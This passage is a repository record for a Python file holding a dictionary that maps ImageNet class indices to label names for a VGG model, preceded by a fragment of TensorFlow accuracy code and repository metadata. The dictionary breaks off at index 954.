self.accuracy_arguments) self.accuracy = (self.accuracy_action + self.accuracy_arguments)/2 tf.scalar_summary('accuracy', self.accuracy)

[ "filip.juricicek@gmail.com" ]

filip.juricicek@gmail.com

6b94ccf36b537b20b948dc0a0e5c41ed19240a20

b7a9307465e4107356a9bc518a5b6eea6491ffab

/Model_Training/Manual_model/vgg_labels.py

5268dfb8bf8c2ca81ff307a268a255abe5e28a9e

[]

no_license

Tunoc/pythonexam

b2378835b5bcbbf1f892b6838cfc0cc856bcb7b1

d7a28874edfaa23396ddfdbd77bce9c7fcfa240f

refs/heads/main

2023-02-04T05:12:52.697491

2020-12-27T19:27:06

null

0

null

UTF-8

Python

false

30,578

py

translate = { 0: 'tench, Tinca tinca', 1: 'goldfish, Carassius auratus', 2: 'great white shark, white shark, man-eater, man-eating shark, Carcharodon carcharias', 3: 'tiger shark, Galeocerdo cuvieri', 4: 'hammerhead, hammerhead shark', 5: 'electric ray, crampfish, numbfish, torpedo', 6: 'stingray', 7: 'cock', 8: 'hen', 9: 'ostrich, Struthio camelus', 10: 'brambling, Fringilla montifringilla', 11: 'goldfinch, Carduelis carduelis', 12: 'house finch, linnet, Carpodacus mexicanus', 13: 'junco, snowbird', 14: 'indigo bunting, indigo finch, indigo bird, Passerina cyanea', 15: 'robin, American robin, Turdus migratorius', 16: 'bulbul', 17: 'jay', 18: 'magpie', 19: 'chickadee', 20: 'water ouzel, dipper', 21: 'kite', 22: 'bald eagle, American eagle, Haliaeetus leucocephalus', 23: 'vulture', 24: 'great grey owl, great gray owl, Strix nebulosa', 25: 'European fire salamander, Salamandra salamandra', 26: 'common newt, Triturus vulgaris', 27: 'eft', 28: 'spotted salamander, Ambystoma maculatum', 29: 'axolotl, mud puppy, Ambystoma mexicanum', 30: 'bullfrog, Rana catesbeiana', 31: 'tree frog, tree-frog', 32: 'tailed frog, bell toad, ribbed toad, tailed toad, Ascaphus trui', 33: 'loggerhead, loggerhead turtle, Caretta caretta', 34: 'leatherback turtle, leatherback, leathery turtle, Dermochelys coriacea', 35: 'mud turtle', 36: 'terrapin', 37: 'box turtle, box tortoise', 38: 'banded gecko', 39: 'common iguana, iguana, Iguana iguana', 40: 'American chameleon, anole, Anolis carolinensis', 41: 'whiptail, whiptail lizard', 42: 'agama', 43: 'frilled lizard, Chlamydosaurus kingi', 44: 'alligator lizard', 45: 'Gila monster, Heloderma suspectum', 46: 'green lizard, Lacerta viridis', 47: 'African chameleon, Chamaeleo chamaeleon', 48: 'Komodo dragon, Komodo lizard, dragon lizard, giant lizard, Varanus komodoensis', 49: 'African crocodile, Nile crocodile, Crocodylus niloticus', 50: 'American alligator, Alligator mississipiensis', 51: 'triceratops', 52: 'thunder snake, worm snake, Carphophis amoenus', 53: 'ringneck snake, ring-necked snake, ring snake', 54: 'hognose snake, puff adder, sand viper', 55: 'green snake, grass snake', 56: 'king snake, kingsnake', 57: 'garter snake, grass snake', 58: 'water snake', 59: 'vine snake', 60: 'night snake, Hypsiglena torquata', 61: 'boa constrictor, Constrictor constrictor', 62: 'rock python, rock snake, Python sebae', 63: 'Indian cobra, Naja naja', 64: 'green mamba', 65: 'sea snake', 66: 'horned viper, cerastes, sand viper, horned asp, Cerastes cornutus', 67: 'diamondback, diamondback rattlesnake, Crotalus adamanteus', 68: 'sidewinder, horned rattlesnake, Crotalus cerastes', 69: 'trilobite', 70: 'harvestman, daddy longlegs, Phalangium opilio', 71: 'scorpion', 72: 'black and gold garden spider, Argiope aurantia', 73: 'barn spider, Araneus cavaticus', 74: 'garden spider, Aranea diademata', 75: 'black widow, Latrodectus mactans', 76: 'tarantula', 77: 'wolf spider, hunting spider', 78: 'tick', 79: 'centipede', 80: 'black grouse', 81: 'ptarmigan', 82: 'ruffed grouse, partridge, Bonasa umbellus', 83: 'prairie chicken, prairie grouse, prairie fowl', 84: 'peacock', 85: 'quail', 86: 'partridge', 87: 'African grey, African gray, Psittacus erithacus', 88: 'macaw', 89: 'sulphur-crested cockatoo, Kakatoe galerita, Cacatua galerita', 90: 'lorikeet', 91: 'coucal', 92: 'bee eater', 93: 'hornbill', 94: 'hummingbird', 95: 'jacamar', 96: 'toucan', 97: 'drake', 98: 'red-breasted merganser, Mergus serrator', 99: 'goose', 100: 'black swan, Cygnus atratus', 101: 'tusker', 102: 'echidna, spiny anteater, anteater', 103: 'platypus, duckbill, duckbilled platypus, duck-billed platypus, Ornithorhynchus anatinus', 104: 'wallaby, brush kangaroo', 105: 'koala, koala bear, kangaroo bear, native bear, Phascolarctos cinereus', 106: 'wombat', 107: 'jellyfish', 108: 'sea anemone, anemone', 109: 'brain coral', 110: 'flatworm, platyhelminth', 111: 'nematode, nematode worm, roundworm', 112: 'conch', 113: 'snail', 114: 'slug', 115: 'sea slug, nudibranch', 116: 'chiton, coat-of-mail shell, sea cradle, polyplacophore', 117: 'chambered nautilus, pearly nautilus, nautilus', 118: 'Dungeness crab, Cancer magister', 119: 'rock crab, Cancer irroratus', 120: 'fiddler crab', 121: 'king crab, Alaska crab, Alaskan king crab, Alaska king crab, Paralithodes camtschatica', 122: 'American lobster, Northern lobster, Maine lobster, Homarus americanus', 123: 'spiny lobster, langouste, rock lobster, crawfish, crayfish, sea crawfish', 124: 'crayfish, crawfish, crawdad, crawdaddy', 125: 'hermit crab', 126: 'isopod', 127: 'white stork, Ciconia ciconia', 128: 'black stork, Ciconia nigra', 129: 'spoonbill', 130: 'flamingo', 131: 'little blue heron, Egretta caerulea', 132: 'American egret, great white heron, Egretta albus', 133: 'bittern', 134: 'crane', 135: 'limpkin, Aramus pictus', 136: 'European gallinule, Porphyrio porphyrio', 137: 'American coot, marsh hen, mud hen, water hen, Fulica americana', 138: 'bustard', 139: 'ruddy turnstone, Arenaria interpres', 140: 'red-backed sandpiper, dunlin, Erolia alpina', 141: 'redshank, Tringa totanus', 142: 'dowitcher', 143: 'oystercatcher, oyster catcher', 144: 'pelican', 145: 'king penguin, Aptenodytes patagonica', 146: 'albatross, mollymawk', 147: 'grey whale, gray whale, devilfish, Eschrichtius gibbosus, Eschrichtius robustus', 148: 'killer whale, killer, orca, grampus, sea wolf, Orcinus orca', 149: 'dugong, Dugong dugon', 150: 'sea lion', 151: 'Chihuahua', 152: 'Japanese spaniel', 153: 'Maltese dog, Maltese terrier, Maltese', 154: 'Pekinese, Pekingese, Peke', 155: 'Shih-Tzu', 156: 'Blenheim spaniel', 157: 'papillon', 158: 'toy terrier', 159: 'Rhodesian ridgeback', 160: 'Afghan hound, Afghan', 161: 'basset, basset hound', 162: 'beagle', 163: 'bloodhound, sleuthhound', 164: 'bluetick', 165: 'black-and-tan coonhound', 166: 'Walker hound, Walker foxhound', 167: 'English foxhound', 168: 'redbone', 169: 'borzoi, Russian wolfhound', 170: 'Irish wolfhound', 171: 'Italian greyhound', 172: 'whippet', 173: 'Ibizan hound, Ibizan Podenco', 174: 'Norwegian elkhound, elkhound', 175: 'otterhound, otter hound', 176: 'Saluki, gazelle hound', 177: 'Scottish deerhound, deerhound', 178: 'Weimaraner', 179: 'Staffordshire bullterrier, Staffordshire bull terrier', 180: 'American Staffordshire terrier, Staffordshire terrier, American pit bull terrier, pit bull terrier', 181: 'Bedlington terrier', 182: 'Border terrier', 183: 'Kerry blue terrier', 184: 'Irish terrier', 185: 'Norfolk terrier', 186: 'Norwich terrier', 187: 'Yorkshire terrier', 188: 'wire-haired fox terrier', 189: 'Lakeland terrier', 190: 'Sealyham terrier, Sealyham', 191: 'Airedale, Airedale terrier', 192: 'cairn, cairn terrier', 193: 'Australian terrier', 194: 'Dandie Dinmont, Dandie Dinmont terrier', 195: 'Boston bull, Boston terrier', 196: 'miniature schnauzer', 197: 'giant schnauzer', 198: 'standard schnauzer', 199: 'Scotch terrier, Scottish terrier, Scottie', 200: 'Tibetan terrier, chrysanthemum dog', 201: 'silky terrier, Sydney silky', 202: 'soft-coated wheaten terrier', 203: 'West Highland white terrier', 204: 'Lhasa, Lhasa apso', 205: 'flat-coated retriever', 206: 'curly-coated retriever', 207: 'golden retriever', 208: 'Labrador retriever', 209: 'Chesapeake Bay retriever', 210: 'German short-haired pointer', 211: 'vizsla, Hungarian pointer', 212: 'English setter', 213: 'Irish setter, red setter', 214: 'Gordon setter', 215: 'Brittany spaniel', 216: 'clumber, clumber spaniel', 217: 'English springer, English springer spaniel', 218: 'Welsh springer spaniel', 219: 'cocker spaniel, English cocker spaniel, cocker', 220: 'Sussex spaniel', 221: 'Irish water spaniel', 222: 'kuvasz', 223: 'schipperke', 224: 'groenendael', 225: 'malinois', 226: 'briard', 227: 'kelpie', 228: 'komondor', 229: 'Old English sheepdog, bobtail', 230: 'Shetland sheepdog, Shetland sheep dog, Shetland', 231: 'collie', 232: 'Border collie', 233: 'Bouvier des Flandres, Bouviers des Flandres', 234: 'Rottweiler', 235: 'German shepherd, German shepherd dog, German police dog, alsatian', 236: 'Doberman, Doberman pinscher', 237: 'miniature pinscher', 238: 'Greater Swiss Mountain dog', 239: 'Bernese mountain dog', 240: 'Appenzeller', 241: 'EntleBucher', 242: 'boxer', 243: 'bull mastiff', 244: 'Tibetan mastiff', 245: 'French bulldog', 246: 'Great Dane', 247: 'Saint Bernard, St Bernard', 248: 'Eskimo dog, husky', 249: 'malamute, malemute, Alaskan malamute', 250: 'Siberian husky', 251: 'dalmatian, coach dog, carriage dog', 252: 'affenpinscher, monkey pinscher, monkey dog', 253: 'basenji', 254: 'pug, pug-dog', 255: 'Leonberg', 256: 'Newfoundland, Newfoundland dog', 257: 'Great Pyrenees', 258: 'Samoyed, Samoyede', 259: 'Pomeranian', 260: 'chow, chow chow', 261: 'keeshond', 262: 'Brabancon griffon', 263: 'Pembroke, Pembroke Welsh corgi', 264: 'Cardigan, Cardigan Welsh corgi', 265: 'toy poodle', 266: 'miniature poodle', 267: 'standard poodle', 268: 'Mexican hairless', 269: 'timber wolf, grey wolf, gray wolf, Canis lupus', 270: 'white wolf, Arctic wolf, Canis lupus tundrarum', 271: 'red wolf, maned wolf, Canis rufus, Canis niger', 272: 'coyote, prairie wolf, brush wolf, Canis latrans', 273: 'dingo, warrigal, warragal, Canis dingo', 274: 'dhole, Cuon alpinus', 275: 'African hunting dog, hyena dog, Cape hunting dog, Lycaon pictus', 276: 'hyena, hyaena', 277: 'red fox, Vulpes vulpes', 278: 'kit fox, Vulpes macrotis', 279: 'Arctic fox, white fox, Alopex lagopus', 280: 'grey fox, gray fox, Urocyon cinereoargenteus', 281: 'tabby, tabby cat', 282: 'tiger cat', 283: 'Persian cat', 284: 'Siamese cat, Siamese', 285: 'Egyptian cat', 286: 'cougar, puma, catamount, mountain lion, painter, panther, Felis concolor', 287: 'lynx, catamount', 288: 'leopard, Panthera pardus', 289: 'snow leopard, ounce, Panthera uncia', 290: 'jaguar, panther, Panthera onca, Felis onca', 291: 'lion, king of beasts, Panthera leo', 292: 'tiger, Panthera tigris', 293: 'cheetah, chetah, Acinonyx jubatus', 294: 'brown bear, bruin, Ursus arctos', 295: 'American black bear, black bear, Ursus americanus, Euarctos americanus', 296: 'ice bear, polar bear, Ursus Maritimus, Thalarctos maritimus', 297: 'sloth bear, Melursus ursinus, Ursus ursinus', 298: 'mongoose', 299: 'meerkat, mierkat', 300: 'tiger beetle', 301: 'ladybug, ladybeetle, lady beetle, ladybird, ladybird beetle', 302: 'ground beetle, carabid beetle', 303: 'long-horned beetle, longicorn, longicorn beetle', 304: 'leaf beetle, chrysomelid', 305: 'dung beetle', 306: 'rhinoceros beetle', 307: 'weevil', 308: 'fly', 309: 'bee', 310: 'ant, emmet, pismire', 311: 'grasshopper, hopper', 312: 'cricket', 313: 'walking stick, walkingstick, stick insect', 314: 'cockroach, roach', 315: 'mantis, mantid', 316: 'cicada, cicala', 317: 'leafhopper', 318: 'lacewing, lacewing fly', 319: "dragonfly, darning needle, devil's darning needle, sewing needle, snake feeder, snake doctor, mosquito hawk, skeeter hawk", 320: 'damselfly', 321: 'admiral', 322: 'ringlet, ringlet butterfly', 323: 'monarch, monarch butterfly, milkweed butterfly, Danaus plexippus', 324: 'cabbage butterfly', 325: 'sulphur butterfly, sulfur butterfly', 326: 'lycaenid, lycaenid butterfly', 327: 'starfish, sea star', 328: 'sea urchin', 329: 'sea cucumber, holothurian', 330: 'wood rabbit, cottontail, cottontail rabbit', 331: 'hare', 332: 'Angora, Angora rabbit', 333: 'hamster', 334: 'porcupine, hedgehog', 335: 'fox squirrel, eastern fox squirrel, Sciurus niger', 336: 'marmot', 337: 'beaver', 338: 'guinea pig, Cavia cobaya', 339: 'sorrel', 340: 'zebra', 341: 'hog, pig, grunter, squealer, Sus scrofa', 342: 'wild boar, boar, Sus scrofa', 343: 'warthog', 344: 'hippopotamus, hippo, river horse, Hippopotamus amphibius', 345: 'ox', 346: 'water buffalo, water ox, Asiatic buffalo, Bubalus bubalis', 347: 'bison', 348: 'ram, tup', 349: 'bighorn, bighorn sheep, cimarron, Rocky Mountain bighorn, Rocky Mountain sheep, Ovis canadensis', 350: 'ibex, Capra ibex', 351: 'hartebeest', 352: 'impala, Aepyceros melampus', 353: 'gazelle', 354: 'Arabian camel, dromedary, Camelus dromedarius', 355: 'llama', 356: 'weasel', 357: 'mink', 358: 'polecat, fitch, foulmart, foumart, Mustela putorius', 359: 'black-footed ferret, ferret, Mustela nigripes', 360: 'otter', 361: 'skunk, polecat, wood pussy', 362: 'badger', 363: 'armadillo', 364: 'three-toed sloth, ai, Bradypus tridactylus', 365: 'orangutan, orang, orangutang, Pongo pygmaeus', 366: 'gorilla, Gorilla gorilla', 367: 'chimpanzee, chimp, Pan troglodytes', 368: 'gibbon, Hylobates lar', 369: 'siamang, Hylobates syndactylus, Symphalangus syndactylus', 370: 'guenon, guenon monkey', 371: 'patas, hussar monkey, Erythrocebus patas', 372: 'baboon', 373: 'macaque', 374: 'langur', 375: 'colobus, colobus monkey', 376: 'proboscis monkey, Nasalis larvatus', 377: 'marmoset', 378: 'capuchin, ringtail, Cebus capucinus', 379: 'howler monkey, howler', 380: 'titi, titi monkey', 381: 'spider monkey, Ateles geoffroyi', 382: 'squirrel monkey, Saimiri sciureus', 383: 'Madagascar cat, ring-tailed lemur, Lemur catta', 384: 'indri, indris, Indri indri, Indri brevicaudatus', 385: 'Indian elephant, Elephas maximus', 386: 'African elephant, Loxodonta africana', 387: 'lesser panda, red panda, panda, bear cat, cat bear, Ailurus fulgens', 388: 'giant panda, panda, panda bear, coon bear, Ailuropoda melanoleuca', 389: 'barracouta, snoek', 390: 'eel', 391: 'coho, cohoe, coho salmon, blue jack, silver salmon, Oncorhynchus kisutch', 392: 'rock beauty, Holocanthus tricolor', 393: 'anemone fish', 394: 'sturgeon', 395: 'gar, garfish, garpike, billfish, Lepisosteus osseus', 396: 'lionfish', 397: 'puffer, pufferfish, blowfish, globefish', 398: 'abacus', 399: 'abaya', 400: "academic gown, academic robe, judge's robe", 401: 'accordion, piano accordion, squeeze box', 402: 'acoustic guitar', 403: 'aircraft carrier, carrier, flattop, attack aircraft carrier', 404: 'airliner', 405: 'airship, dirigible', 406: 'altar', 407: 'ambulance', 408: 'amphibian, amphibious vehicle', 409: 'analog clock', 410: 'apiary, bee house', 411: 'apron', 412: 'ashcan, trash can, garbage can, wastebin, ash bin, ash-bin, ashbin, dustbin, trash barrel, trash bin', 413: 'assault rifle, assault gun', 414: 'backpack, back pack, knapsack, packsack, rucksack, haversack', 415: 'bakery, bakeshop, bakehouse', 416: 'balance beam, beam', 417: 'balloon', 418: 'ballpoint, ballpoint pen, ballpen, Biro', 419: 'Band Aid', 420: 'banjo', 421: 'bannister, banister, balustrade, balusters, handrail', 422: 'barbell', 423: 'barber chair', 424: 'barbershop', 425: 'barn', 426: 'barometer', 427: 'barrel, cask', 428: 'barrow, garden cart, lawn cart, wheelbarrow', 429: 'baseball', 430: 'basketball', 431: 'bassinet', 432: 'bassoon', 433: 'bathing cap, swimming cap', 434: 'bath towel', 435: 'bathtub, bathing tub, bath, tub', 436: 'beach wagon, station wagon, wagon, estate car, beach waggon, station waggon, waggon', 437: 'beacon, lighthouse, beacon light, pharos', 438: 'beaker', 439: 'bearskin, busby, shako', 440: 'beer bottle', 441: 'beer glass', 442: 'bell cote, bell cot', 443: 'bib', 444: 'bicycle-built-for-two, tandem bicycle, tandem', 445: 'bikini, two-piece', 446: 'binder, ring-binder', 447: 'binoculars, field glasses, opera glasses', 448: 'birdhouse', 449: 'boathouse', 450: 'bobsled, bobsleigh, bob', 451: 'bolo tie, bolo, bola tie, bola', 452: 'bonnet, poke bonnet', 453: 'bookcase', 454: 'bookshop, bookstore, bookstall', 455: 'bottlecap', 456: 'bow', 457: 'bow tie, bow-tie, bowtie', 458: 'brass, memorial tablet, plaque', 459: 'brassiere, bra, bandeau', 460: 'breakwater, groin, groyne, mole, bulwark, seawall, jetty', 461: 'breastplate, aegis, egis', 462: 'broom', 463: 'bucket, pail', 464: 'buckle', 465: 'bulletproof vest', 466: 'bullet train, bullet', 467: 'butcher shop, meat market', 468: 'cab, hack, taxi, taxicab', 469: 'caldron, cauldron', 470: 'candle, taper, wax light', 471: 'cannon', 472: 'canoe', 473: 'can opener, tin opener', 474: 'cardigan', 475: 'car mirror', 476: 'carousel, carrousel, merry-go-round, roundabout, whirligig', 477: "carpenter's kit, tool kit", 478: 'carton', 479: 'car wheel', 480: 'cash machine, cash dispenser, automated teller machine, automatic teller machine, automated teller, automatic teller, ATM', 481: 'cassette', 482: 'cassette player', 483: 'castle', 484: 'catamaran', 485: 'CD player', 486: 'cello, violoncello', 487: 'cellular telephone, cellular phone, cellphone, cell, mobile phone', 488: 'chain', 489: 'chainlink fence', 490: 'chain mail, ring mail, mail, chain armor, chain armour, ring armor, ring armour', 491: 'chain saw, chainsaw', 492: 'chest', 493: 'chiffonier, commode', 494: 'chime, bell, gong', 495: 'china cabinet, china closet', 496: 'Christmas stocking', 497: 'church, church building', 498: 'cinema, movie theater, movie theatre, movie house, picture palace', 499: 'cleaver, meat cleaver, chopper', 500: 'cliff dwelling', 501: 'cloak', 502: 'clog, geta, patten, sabot', 503: 'cocktail shaker', 504: 'coffee mug', 505: 'coffeepot', 506: 'coil, spiral, volute, whorl, helix', 507: 'combination lock', 508: 'computer keyboard, keypad', 509: 'confectionery, confectionary, candy store', 510: 'container ship, containership, container vessel', 511: 'convertible', 512: 'corkscrew, bottle screw', 513: 'cornet, horn, trumpet, trump', 514: 'cowboy boot', 515: 'cowboy hat, ten-gallon hat', 516: 'cradle', 517: 'crane', 518: 'crash helmet', 519: 'crate', 520: 'crib, cot', 521: 'Crock Pot', 522: 'croquet ball', 523: 'crutch', 524: 'cuirass', 525: 'dam, dike, dyke', 526: 'desk', 527: 'desktop computer', 528: 'dial telephone, dial phone', 529: 'diaper, nappy, napkin', 530: 'digital clock', 531: 'digital watch', 532: 'dining table, board', 533: 'dishrag, dishcloth', 534: 'dishwasher, dish washer, dishwashing machine', 535: 'disk brake, disc brake', 536: 'dock, dockage, docking facility', 537: 'dogsled, dog sled, dog sleigh', 538: 'dome', 539: 'doormat, welcome mat', 540: 'drilling platform, offshore rig', 541: 'drum, membranophone, tympan', 542: 'drumstick', 543: 'dumbbell', 544: 'Dutch oven', 545: 'electric fan, blower', 546: 'electric guitar', 547: 'electric locomotive', 548: 'entertainment center', 549: 'envelope', 550: 'espresso maker', 551: 'face powder', 552: 'feather boa, boa', 553: 'file, file cabinet, filing cabinet', 554: 'fireboat', 555: 'fire engine, fire truck', 556: 'fire screen, fireguard', 557: 'flagpole, flagstaff', 558: 'flute, transverse flute', 559: 'folding chair', 560: 'football helmet', 561: 'forklift', 562: 'fountain', 563: 'fountain pen', 564: 'four-poster', 565: 'freight car', 566: 'French horn, horn', 567: 'frying pan, frypan, skillet', 568: 'fur coat', 569: 'garbage truck, dustcart', 570: 'gasmask, respirator, gas helmet', 571: 'gas pump, gasoline pump, petrol pump, island dispenser', 572: 'goblet', 573: 'go-kart', 574: 'golf ball', 575: 'golfcart, golf cart', 576: 'gondola', 577: 'gong, tam-tam', 578: 'gown', 579: 'grand piano, grand', 580: 'greenhouse, nursery, glasshouse', 581: 'grille, radiator grille', 582: 'grocery store, grocery, food market, market', 583: 'guillotine', 584: 'hair slide', 585: 'hair spray', 586: 'half track', 587: 'hammer', 588: 'hamper', 589: 'hand blower, blow dryer, blow drier, hair dryer, hair drier', 590: 'hand-held computer, hand-held microcomputer', 591: 'handkerchief, hankie, hanky, hankey', 592: 'hard disc, hard disk, fixed disk', 593: 'harmonica, mouth organ, harp, mouth harp', 594: 'harp', 595: 'harvester, reaper', 596: 'hatchet', 597: 'holster', 598: 'home theater, home theatre', 599: 'honeycomb', 600: 'hook, claw', 601: 'hoopskirt, crinoline', 602: 'horizontal bar, high bar', 603: 'horse cart, horse-cart', 604: 'hourglass', 605: 'iPod', 606: 'iron, smoothing iron', 607: "jack-o'-lantern", 608: 'jean, blue jean, denim', 609: 'jeep, landrover', 610: 'jersey, T-shirt, tee shirt', 611: 'jigsaw puzzle', 612: 'jinrikisha, ricksha, rickshaw', 613: 'joystick', 614: 'kimono', 615: 'knee pad', 616: 'knot', 617: 'lab coat, laboratory coat', 618: 'ladle', 619: 'lampshade, lamp shade', 620: 'laptop, laptop computer', 621: 'lawn mower, mower', 622: 'lens cap, lens cover', 623: 'letter opener, paper knife, paperknife', 624: 'library', 625: 'lifeboat', 626: 'lighter, light, igniter, ignitor', 627: 'limousine, limo', 628: 'liner, ocean liner', 629: 'lipstick, lip rouge', 630: 'Loafer', 631: 'lotion', 632: 'loudspeaker, speaker, speaker unit, loudspeaker system, speaker system', 633: "loupe, jeweler's loupe", 634: 'lumbermill, sawmill', 635: 'magnetic compass', 636: 'mailbag, postbag', 637: 'mailbox, letter box', 638: 'maillot', 639: 'maillot, tank suit', 640: 'manhole cover', 641: 'maraca', 642: 'marimba, xylophone', 643: 'mask', 644: 'matchstick', 645: 'maypole', 646: 'maze, labyrinth', 647: 'measuring cup', 648: 'medicine chest, medicine cabinet', 649: 'megalith, megalithic structure', 650: 'microphone, mike', 651: 'microwave, microwave oven', 652: 'military uniform', 653: 'milk can', 654: 'minibus', 655: 'miniskirt, mini', 656: 'minivan', 657: 'missile', 658: 'mitten', 659: 'mixing bowl', 660: 'mobile home, manufactured home', 661: 'Model T', 662: 'modem', 663: 'monastery', 664: 'monitor', 665: 'moped', 666: 'mortar', 667: 'mortarboard', 668: 'mosque', 669: 'mosquito net', 670: 'motor scooter, scooter', 671: 'mountain bike, all-terrain bike, off-roader', 672: 'mountain tent', 673: 'mouse, computer mouse', 674: 'mousetrap', 675: 'moving van', 676: 'muzzle', 677: 'nail', 678: 'neck brace', 679: 'necklace', 680: 'nipple', 681: 'notebook, notebook computer', 682: 'obelisk', 683: 'oboe, hautboy, hautbois', 684: 'ocarina, sweet potato', 685: 'odometer, hodometer, mileometer, milometer', 686: 'oil filter', 687: 'organ, pipe organ', 688: 'oscilloscope, scope, cathode-ray oscilloscope, CRO', 689: 'overskirt', 690: 'oxcart', 691: 'oxygen mask', 692: 'packet', 693: 'paddle, boat paddle', 694: 'paddlewheel, paddle wheel', 695: 'padlock', 696: 'paintbrush', 697: "pajama, pyjama, pj's, jammies", 698: 'palace', 699: 'panpipe, pandean pipe, syrinx', 700: 'paper towel', 701: 'parachute, chute', 702: 'parallel bars, bars', 703: 'park bench', 704: 'parking meter', 705: 'passenger car, coach, carriage', 706: 'patio, terrace', 707: 'pay-phone, pay-station', 708: 'pedestal, plinth, footstall', 709: 'pencil box, pencil case', 710: 'pencil sharpener', 711: 'perfume, essence', 712: 'Petri dish', 713: 'photocopier', 714: 'pick, plectrum, plectron', 715: 'pickelhaube', 716: 'picket fence, paling', 717: 'pickup, pickup truck', 718: 'pier', 719: 'piggy bank, penny bank', 720: 'pill bottle', 721: 'pillow', 722: 'ping-pong ball', 723: 'pinwheel', 724: 'pirate, pirate ship', 725: 'pitcher, ewer', 726: "plane, carpenter's plane, woodworking plane", 727: 'planetarium', 728: 'plastic bag', 729: 'plate rack', 730: 'plow, plough', 731: "plunger, plumber's helper", 732: 'Polaroid camera, Polaroid Land camera', 733: 'pole', 734: 'police van, police wagon, paddy wagon, patrol wagon, wagon, black Maria', 735: 'poncho', 736: 'pool table, billiard table, snooker table', 737: 'pop bottle, soda bottle', 738: 'pot, flowerpot', 739: "potter's wheel", 740: 'power drill', 741: 'prayer rug, prayer mat', 742: 'printer', 743: 'prison, prison house', 744: 'projectile, missile', 745: 'projector', 746: 'puck, hockey puck', 747: 'punching bag, punch bag, punching ball, punchball', 748: 'purse', 749: 'quill, quill pen', 750: 'quilt, comforter, comfort, puff', 751: 'racer, race car, racing car', 752: 'racket, racquet', 753: 'radiator', 754: 'radio, wireless', 755: 'radio telescope, radio reflector', 756: 'rain barrel', 757: 'recreational vehicle, RV, R.V.', 758: 'reel', 759: 'reflex camera', 760: 'refrigerator, icebox', 761: 'remote control, remote', 762: 'restaurant, eating house, eating place, eatery', 763: 'revolver, six-gun, six-shooter', 764: 'rifle', 765: 'rocking chair, rocker', 766: 'rotisserie', 767: 'rubber eraser, rubber, pencil eraser', 768: 'rugby ball', 769: 'rule, ruler', 770: 'running shoe', 771: 'safe', 772: 'safety pin', 773: 'saltshaker, salt shaker', 774: 'sandal', 775: 'sarong', 776: 'sax, saxophone', 777: 'scabbard', 778: 'scale, weighing machine', 779: 'school bus', 780: 'schooner', 781: 'scoreboard', 782: 'screen, CRT screen', 783: 'screw', 784: 'screwdriver', 785: 'seat belt, seatbelt', 786: 'sewing machine', 787: 'shield, buckler', 788: 'shoe shop, shoe-shop, shoe store', 789: 'shoji', 790: 'shopping basket', 791: 'shopping cart', 792: 'shovel', 793: 'shower cap', 794: 'shower curtain', 795: 'ski', 796: 'ski mask', 797: 'sleeping bag', 798: 'slide rule, slipstick', 799: 'sliding door', 800: 'slot, one-armed bandit', 801: 'snorkel', 802: 'snowmobile', 803: 'snowplow, snowplough', 804: 'soap dispenser', 805: 'soccer ball', 806: 'sock', 807: 'solar dish, solar collector, solar furnace', 808: 'sombrero', 809: 'soup bowl', 810: 'space bar', 811: 'space heater', 812: 'space shuttle', 813: 'spatula', 814: 'speedboat', 815: "spider web, spider's web", 816: 'spindle', 817: 'sports car, sport car', 818: 'spotlight, spot', 819: 'stage', 820: 'steam locomotive', 821: 'steel arch bridge', 822: 'steel drum', 823: 'stethoscope', 824: 'stole', 825: 'stone wall', 826: 'stopwatch, stop watch', 827: 'stove', 828: 'strainer', 829: 'streetcar, tram, tramcar, trolley, trolley car', 830: 'stretcher', 831: 'studio couch, day bed', 832: 'stupa, tope', 833: 'submarine, pigboat, sub, U-boat', 834: 'suit, suit of clothes', 835: 'sundial', 836: 'sunglass', 837: 'sunglasses, dark glasses, shades', 838: 'sunscreen, sunblock, sun blocker', 839: 'suspension bridge', 840: 'swab, swob, mop', 841: 'sweatshirt', 842: 'swimming trunks, bathing trunks', 843: 'swing', 844: 'switch, electric switch, electrical switch', 845: 'syringe', 846: 'table lamp', 847: 'tank, army tank, armored combat vehicle, armoured combat vehicle', 848: 'tape player', 849: 'teapot', 850: 'teddy, teddy bear', 851: 'television, television system', 852: 'tennis ball', 853: 'thatch, thatched roof', 854: 'theater curtain, theatre curtain', 855: 'thimble', 856: 'thresher, thrasher, threshing machine', 857: 'throne', 858: 'tile roof', 859: 'toaster', 860: 'tobacco shop, tobacconist shop, tobacconist', 861: 'toilet seat', 862: 'torch', 863: 'totem pole', 864: 'tow truck, tow car, wrecker', 865: 'toyshop', 866: 'tractor', 867: 'trailer truck, tractor trailer, trucking rig, rig, articulated lorry, semi', 868: 'tray', 869: 'trench coat', 870: 'tricycle, trike, velocipede', 871: 'trimaran', 872: 'tripod', 873: 'triumphal arch', 874: 'trolleybus, trolley coach, trackless trolley', 875: 'trombone', 876: 'tub, vat', 877: 'turnstile', 878: 'typewriter keyboard', 879: 'umbrella', 880: 'unicycle, monocycle', 881: 'upright, upright piano', 882: 'vacuum, vacuum cleaner', 883: 'vase', 884: 'vault', 885: 'velvet', 886: 'vending machine', 887: 'vestment', 888: 'viaduct', 889: 'violin, fiddle', 890: 'volleyball', 891: 'waffle iron', 892: 'wall clock', 893: 'wallet, billfold, notecase, pocketbook', 894: 'wardrobe, closet, press', 895: 'warplane, military plane', 896: 'washbasin, handbasin, washbowl, lavabo, wash-hand basin', 897: 'washer, automatic washer, washing machine', 898: 'water bottle', 899: 'water jug', 900: 'water tower', 901: 'whiskey jug', 902: 'whistle', 903: 'wig', 904: 'window screen', 905: 'window shade', 906: 'Windsor tie', 907: 'wine bottle', 908: 'wing', 909: 'wok', 910: 'wooden spoon', 911: 'wool, woolen, woollen', 912: 'worm fence, snake fence, snake-rail fence, Virginia fence', 913: 'wreck', 914: 'yawl', 915: 'yurt', 916: 'web site, website, internet site, site', 917: 'comic book', 918: 'crossword puzzle, crossword', 919: 'street sign', 920: 'traffic light, traffic signal, stoplight', 921: 'book jacket, dust cover, dust jacket, dust wrapper', 922: 'menu', 923: 'plate', 924: 'guacamole', 925: 'consomme', 926: 'hot pot, hotpot', 927: 'trifle', 928: 'ice cream, icecream', 929: 'ice lolly, lolly, lollipop, popsicle', 930: 'French loaf', 931: 'bagel, beigel', 932: 'pretzel', 933: 'cheeseburger', 934: 'hotdog, hot dog, red hot', 935: 'mashed potato', 936: 'head cabbage', 937: 'broccoli', 938: 'cauliflower', 939: 'zucchini, courgette', 940: 'spaghetti squash', 941: 'acorn squash', 942: 'butternut squash', 943: 'cucumber, cuke', 944: 'artichoke, globe artichoke', 945: 'bell pepper', 946: 'cardoon', 947: 'mushroom', 948: 'Granny Smith', 949: 'strawberry', 950: 'orange', 951: 'lemon', 952: 'fig', 953: 'pineapple, ananas', 954: 